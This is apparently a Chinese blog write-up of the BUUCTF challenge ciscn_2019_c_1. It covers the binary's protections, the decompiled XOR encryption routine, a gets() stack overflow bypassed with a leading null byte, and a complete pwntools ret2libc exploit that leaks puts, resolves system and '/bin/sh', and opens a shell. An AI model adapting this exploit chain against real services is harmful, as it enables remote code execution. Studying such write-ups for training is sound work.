BUUCTF ciscn_2019_c_1(64位ret2libc3)

1.checksec+运行

64位/NX保护

运行起来貌似很有意思,是一个加解密操作

后来发现只能加密不能解密

2. 强大的IDA进行中

1.main函数

貌似看不出什么

2.encrypt函数

加密具体操作

大小写字母/数字进行异或运算

发现gets()栈溢出

 s大小0x50

需要先把加密函数绕过

该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变

 while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )    //通过这个if条件判断
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

接着分析

没有直接给出system和binsh

那么通过libc库泄露其地址,就是常规的ret2libc3

还有一个重要的点

这是64位的ret2kibc3,和之前32位的不一样

64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9

32位的直接堆栈传参

Ropgadget找一下

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

rdi=0x400c83

ROPgadget --binary ./7ciscn2019c1 --only "ret"

 

ret=0x4006b9 

最后,准备EXP 

from pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']


rdi=0x400c83
ret=0x4006b9 

#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)



p.recvline()	#接收字符串Ciphertext
p.recvline()    #加密后的密文
#这里注意需要接收2次

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次攻击getshell

p.sendlineafter('Input your choice!\n','1')     #   再一次执行 一遍流程
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()

一个需要注意的点 :

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址

python3需要(b'char')发送

否则会报错

 ljust() argument 2 must be a byte string of length 1, not str

 

 cat flag

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值